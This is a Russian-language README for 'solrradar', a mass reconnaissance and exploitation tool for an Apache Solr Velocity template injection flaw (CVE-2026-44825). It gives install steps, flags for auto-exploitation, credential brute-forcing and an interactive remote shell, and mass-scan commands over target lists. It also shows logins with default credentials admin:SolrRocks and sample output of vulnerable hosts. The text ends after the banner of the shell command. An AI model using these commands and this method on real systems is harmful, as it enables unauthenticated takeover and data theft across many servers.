
☄️ Фреймворк массовой разведки и эксплуатации для Apache Solr CVE-2026-44825 — инъекция шаблонов Velocity до RCE
CVE-2026-44825 — это критическая уязвимость в Apache Solr, которая позволяет злоумышленникам добиться неаутентифицированного удалённого выполнения кода (RCE) через внедрение Velocity-шаблона.
Параметр wt=velocity конечной точки /select Apache Solr принимает пользовательские Velocity-шаблоны. Если Velocity Response Writer включён (или может быть включён через конфигурационный API), атакующий может внедрить вредоносный шаблон, вызывающий java.lang.Runtime.exec(), выполняя произвольные системные команды с правами процесса Solr.
| Вектор | Серьёзность | Влияние |
|---|---|---|
| Неаутентифицированное RCE | 9.8 (Критический) | Полная компрометация системы |
| Аутентифицированное RCE | 8.8 (Высокий) | Выполнение кода после аутентификации |
| Раскрытие информации | 5.3 (Средний) | Перечисление ядер/коллекций |
Apache Solr включает Apache Velocity как опциональный движок шаблонов для рендеринга ответов. Уязвимость кроется в VelocityResponseWriter Solr, который обрабатывает пользовательские параметры шаблонов без должной очистки, что позволяет напрямую вызывать Java reflection API:
Цепочка Java Reflection:
vtl → Class.forName("java.lang.Runtime") → getRuntime().exec(cmd)
| Версия Apache Solr | Статус | Примечания |
|---|---|---|
| 9.4.0 – 9.10.1 | 🔴 Уязвима | Активная эксплуатация в дикой природе |
| 10.0.0 | 🔴 Уязвима | Затронут начальный релиз 10.x |
| 10.0.1+ | 🟢 Исправлена | Исправление перенесено |
| 9.10.2+ | 🟢 Исправлена | Доступен патч-релиз |
| ≤ 9.3.x | 🟢 Не затронута | Velocity Response Writer отсутствует |
| 8.x (все) | 🟢 Не затронута | Нет поддержки Velocity |
Примечание: Проверки версий выполняются автоматически путём парсинга JSON-ответа
/admin/info/system.
🔍 Разведка
|
💀 Эксплуатация
|
# Клонирование репозитория
git clone https://github.com/shinthink/solrradar.git
cd solrradar
# Установка зависимостей
pip install -r requirements.txt
# Проверка
python solr_scanner.py --help
requests>=2.28.0
urllib3>=1.26.0
Только стандартные библиотеки +
requests. Никаких экзотических зависимостей.
CVE-2026-44825 Apache Solr Scanner
-t, --target URL или IP[:port] одиночной цели
-f, --file Файл со списком целей (по одной на строку, # для комментариев)
--exploit Авто-эксплуатация, если найдены уязвимые учётные данные
--rce Запуск интерактивной оболочки после аутентификации
-u, --user Имя пользователя для Basic Auth
-pw, --password Пароль для Basic Auth
-o, --output Путь к JSON-файлу для вывода (по умолчанию: solr_results.json)
-w, --workers Количество одновременных потоков (по умолчанию: 30)
-T, --timeout Тайм-аут HTTP-запроса (секунды) (по умолчанию: 8)
# Одиночная цель
python solr_scanner.py -t 192.168.1.100:8983
# Одиночная цель с пользовательским путём
python solr_scanner.py -t http://example.com/solr
# Массовое сканирование из файла
python solr_scanner.py -f targets.txt -o results.json
# targets.txt — поддерживает комментарии и пустые строки
192.168.10.10:8983
192.168.10.20:8983
http://solr-target.internal/solr
192.168.1.0/24 # (CIDR не поддерживается; предварительно раскройте внешним инструментом)
# Сканирование + авто-эксплуатация, если найдены учётные данные
python solr_scanner.py -f targets.txt --exploit
# Известные учётные данные + интерактивная оболочка
python solr_scanner.py -t target:8983 --rce -u admin -pw SolrRocks
# Авто-брутфорс + оболочка при успехе
python solr_scanner.py -t target:8983 --rce
$ python solr_scanner.py -f targets.txt
CVE-2026-44825 Apache Solr Scanner
Цели: 3 | Потоки: 30 | Тайм-аут: 8s
Сканирование...
[Solr 8.11.2] http://192.168.10.10:8983/solr
[Solr 8.11.2] http://192.168.10.20:8983/solr
Коллекции (без аутентификации): ['authority', 'dfa', 'oai', 'search']
[Solr 9.4.1] УЯЗВ +Auth http://solr-target.internal/solr
Готово. Всего:3 | Solr:3 | Уязвимо:1
Все 3 цели обнаружены. Экземпляр 9.4.1 помечен как уязвимый с включённой Basic Auth.
$ python solr_scanner.py -t solr-target.internal
CVE-2026-44825 Apache Solr Scanner
[Solr 9.4.1] УЯЗВ +Auth http://solr-target.internal/solr
[!] admin:SolrRocks
Коллекции: ['cms', 'users', 'search', 'analytics']
Учётные данные по умолчанию
admin:SolrRocksпредоставляют доступ к admin API Solr. Обнаружено четыре коллекции.
$ python solr_scanner.py -t target:8983 --rce -u admin -pw SolrRocks
CVE-2026-44825 Apache Solr Scanner